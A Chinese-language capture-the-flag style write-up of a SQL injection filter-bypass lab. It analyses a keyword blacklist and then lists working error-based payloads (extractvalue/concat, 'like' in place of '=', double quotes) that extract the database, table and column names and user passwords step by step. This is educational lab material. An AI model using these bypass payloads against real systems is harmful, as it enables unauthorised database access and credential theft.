sql注入过滤绕过实例
靶场
云演sql注入过滤绕过靶场
漏洞分析
1、漏洞点:index.php
我们可以看到,在第38行,通过 GET方式传入了id 值,然后会经过过滤,然后直接拼接到 SQL 语句中。
由下图可知,picture.php 通过 GET 方式接收 id值,接收的值会直接拼接到SQL语句中,存在SQL注入漏洞,但是有过滤,需要我们绕过。
2、分析过滤字符
$black = [’=’,‘union’,’/’,’/’,‘order’,‘load’,‘by’,‘group’,‘sleep’,‘update’,‘delete’,‘insert’,’’’,‘and’];
只要输入的字符串中有以上黑名单中的内容,则退出当前脚本。
我们可以使用其他的语句来绕过过滤。
漏洞利用
第一步
访问ip查看系统是否正常
第二步
检测是否存在 SQL 注入漏洞
(1)我们输入
1’、1 and 都会提示 Stop attacking!!!
and 符号可以使用 & 代替。
输入: 1 & 可以看到返回正常。
(2)继续测试:
输入 1+1 在 URL 中 + 通常会被当作 空格,所以我们用 %2b 代替。
输入 1%2b1 可以看到输出结果变了,说明这里的输入是我们可以控制的,而且会到数据库中执行。
(3)使用 xor 测试
1 //返回Hello Tom
1 xor 1 //返回Hello Jame
1 xor 2 //返回Hello Jame
1 xor 0 //返回Hello Tom
以上可以表明我们输入的SQL 语句会到数据库中执行,说明存在SQL 注入漏洞。
第三步
输入以下语句获得 数据库:
?id=1 or extractvalue(1,concat(0x5c,(select database())))
第四步
获得数据表名
or extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema like “web2” limit 0,1) ) )
注:
由于此环境过滤了 = 号,单引号,所以这里使用 双引号代替单引号,并且使用 使用 like 代替等于号。
第五步
获得字段名
or extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name like “f14g” limit 0,1) ) )
or extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name like “f14g” limit 1,1) ) )
得到字段名:id、users、paswd
第六步
获取数据
?id=1 or extractvalue(0x0a,concat(0x0a,(select users from f14g limit 2,1)))
?id=1 or extractvalue(0x0a,concat(0x0a,(select paswd from f14g limit 2,1)))
漏洞修复
对输入增加过滤,或者安装 防火墙。